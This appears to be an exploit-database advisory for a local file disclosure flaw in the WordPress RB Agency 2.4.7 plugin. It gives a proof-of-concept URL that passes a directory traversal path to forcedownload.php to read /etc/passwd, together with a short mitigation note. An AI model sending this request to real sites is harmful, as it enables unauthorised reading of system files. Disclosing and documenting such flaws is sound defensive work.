WordPress RB Agency 2.4.7 Plugin - Local File Disclosure

vendor:

RB Agency

by:

Mojtaba MobhaM

4,3

CVSS

MEDIUM

Local File Disclosure

CWE

Product Name: RB Agency

Affected Version From: 2.4.7

Affected Version To: 2.4.7

Patch Exists: NO

Related CWE: N/A

CPE: a:rbplugin:rb_agency:2.4.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2016

WordPress RB Agency 2.4.7 Plugin – Local File Disclosure

The vulnerable page is /ext/forcedownload.php. An attacker can access the file by sending a request to http://server/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../../etc/passwd

Mitigation:

Ensure that the application is not vulnerable to directory traversal attacks by validating user input and restricting access to sensitive files.

Source

Exploit-DB raw data:

######################
# Exploit Title : WordPress RB Agency 2.4.7 Plugin - Local File Disclosure
# Exploit Author :  Persian Hack Team
# Vendor Homepage : http://rbplugin.com/
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.4.7
# Date 2016/09/03
######################

PoC
The Vulnerable page is
/ext/forcedownload.php

http://server/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../../etc/passwd 
Youtube:https://youtu.be/5kE8Xt-My9A


######################
# Discovered by :  Mojtaba MobhaM Mail:Kazemimojtaba@live.com
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################